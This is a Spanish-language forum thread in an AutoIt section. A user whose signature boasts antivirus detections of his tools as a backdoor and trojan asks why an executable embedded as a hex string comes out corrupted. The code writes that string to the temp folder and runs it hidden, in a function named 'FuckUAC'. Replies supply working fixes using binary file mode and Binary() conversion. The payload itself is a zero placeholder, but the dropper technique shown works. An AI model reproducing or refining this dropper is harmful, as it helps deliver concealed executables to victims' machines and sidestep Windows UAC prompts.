Bueno pues eso, saque el codigo hexadecimal de un ejecutable, y a la hora de hacer un FileWrite y ejecutarlo el file esta corrompido, el codigo hexadecimal es el correcto.

El codigo seria algo así.
Func FuckUAC()
    Local $FuckUAC64 = '0x0000000000000000000000000000000000000000

    $File = FileOpen(@TempDir & "\Temp.exe", 2)
    FileWrite($File, $FuckUAC64)
    FileClose($File)

    Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)

EndFunc
//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Scorpio escribió:Bueno pues eso, saque el codigo hexadecimal de un ejecutable, y a la hora de hacer un FileWrite y ejecutarlo el file esta corrompido, el codigo hexadecimal es el correcto.

El codigo seria algo así.
Func FuckUAC()
    Local $FuckUAC64 = '0x0000000000000000000000000000000000000000

    $File = FileOpen(@TempDir & "\Temp.exe", 2)
    FileWrite($File, $FuckUAC64)
    FileClose($File)

    Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)

EndFunc
//Regards.
la coma simple '?
update
no se si se puede hacer como lo intentas pero si lo logras agradecería me dijeras como
[code2=masm]"For the honor of a king. And the destiny of a country. All for one."[/code2]
Flame escribió:
Scorpio escribió:Bueno pues eso, saque el codigo hexadecimal de un ejecutable, y a la hora de hacer un FileWrite y ejecutarlo el file esta corrompido, el codigo hexadecimal es el correcto.

El codigo seria algo así.
Func FuckUAC()
    Local $FuckUAC64 = '0x0000000000000000000000000000000000000000

    $File = FileOpen(@TempDir & "\Temp.exe", 2)
    FileWrite($File, $FuckUAC64)
    FileClose($File)

    Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)

EndFunc
//Regards.
la coma simple '?
update
no se si se puede hacer como lo intentas pero si lo logras agradecería me dijeras como

Perdon, se me olvido cerrar la variable $FuckUAC64 en el ejemplo, pero ese no es el error.
Sí, en AutoIt se pueden usar Comillas dobles y simples.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Hola, Hacedlo asi:

#include <FileConstants.au3>


FuckUAC()

Func FuckUAC()
    Local $FuckUAC64 = '0x0000000000000000000000000000000000000000'
    $hFile = FileOpen(@TempDir & "\Temp64.exe",  BitOR($FO_BINARY,$FO_OVERWRITE))
    FileWrite($hFile, $FuckUAC64)
    FileClose($hFile)
Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)
EndFunc


Saludos
Imagen
Pink escribió:Hola, Hacedlo asi:

#include <FileConstants.au3>


FuckUAC()

Func FuckUAC()
    Local $FuckUAC64 = '0x0000000000000000000000000000000000000000'
    $hFile = FileOpen(@TempDir & "\Temp64.exe",  BitOR($FO_BINARY,$FO_OVERWRITE))
    FileWrite($hFile, $FuckUAC64)
    FileClose($hFile)
Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)
EndFunc


Saludos
Yo lo solucione así, pero fue ayer a las 6 de la mañana, y como que me dio palo.
Func FuckUAC()
    Local $FuckUAC64 = '0x0000000000000000000000000000000000000000'
 
   $FuckUAC64 = Binary($FuckUAC64)

    $File = FileOpen(@TempDir & "\Temp64.exe", 18)
    FileWrite($File, $FuckUAC64)
    FileClose($File)
 
    Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)
 
EndFunc
//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Responder

Volver a “Autoit”